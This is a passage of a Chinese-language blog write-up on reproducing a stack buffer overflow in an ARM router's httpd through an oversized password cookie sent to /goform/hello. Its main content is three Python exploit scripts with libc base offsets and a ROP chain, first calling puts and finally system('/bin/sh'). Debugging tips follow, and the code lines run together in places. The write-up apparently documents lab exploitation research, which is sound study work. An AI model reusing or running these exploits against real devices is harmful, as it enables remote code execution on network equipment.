3.mov r0,sp好像没啥用, blx r3跳转指令,它用于将程序控制权转移到寄存器 R3 中存储的地址处。BLX指令可以用于跳转到一个函数或者子程序的地址。 所以就跳到了puts了!
栈传参数,此时栈顶是要puts的字符串,
python2版本exp1234567891011121314import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']_str = "xxxxxx\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
python3版本exp python3和python2的转换一直出奇奇怪怪的问题,是编码的问题,如何过渡好呢?
https://blog.csdn.net/yongbaoii/article/details/108873780
1234567891011121314import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']_str = "xxxxxx\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3).decode("iso-8859-1") +p32(puts).decode("iso-8859-1") +p32(mov_r0).decode("iso-8859-1")+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
decode(“iso-8859-1”) 就可以了!
system(“/bin/sh”) 看博主一直复现失败,打算试试qemu-system模式的..但是在自己服务器上就复现成功了…很玄学(计算机没有玄学!)
123456789101112131415import requestsfrom pwn import *base = 0xff60acd4 - 0x035CD4libc = ELF('./libc.so.0')puts = base+libc.sym['puts']system_addr = base + libc.sym['system']_str = "/bin/sh\x00"mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;pop_r3 = base+0x00018298 # pop {r3, pc};URL = "http://xxxxxxx:80/goform/hello"pl = 'a'*444+".png"+p32(pop_r3)+p32(system_addr)+p32(mov_r0)+_strcookie = {"Cookie":"password="+pl}requests.get(url=URL, cookies=cookie)
坑1.gdb-multiarch ./bin/httpd 要对应启动的文件,不能是它的备份等,这可能和gdb的工作原理有关
参考https://www.52pojie.cn/thread-1674625-1-1.html
python共存问题
https://blog.csdn.net/Huang_8208_sibo/article/details/124762816
https://blog.csdn.net/qq_38154820/article/details/122955197
https://mp.weixin.qq.com/s/mRq3n3jDM0zvR15JAsLYSA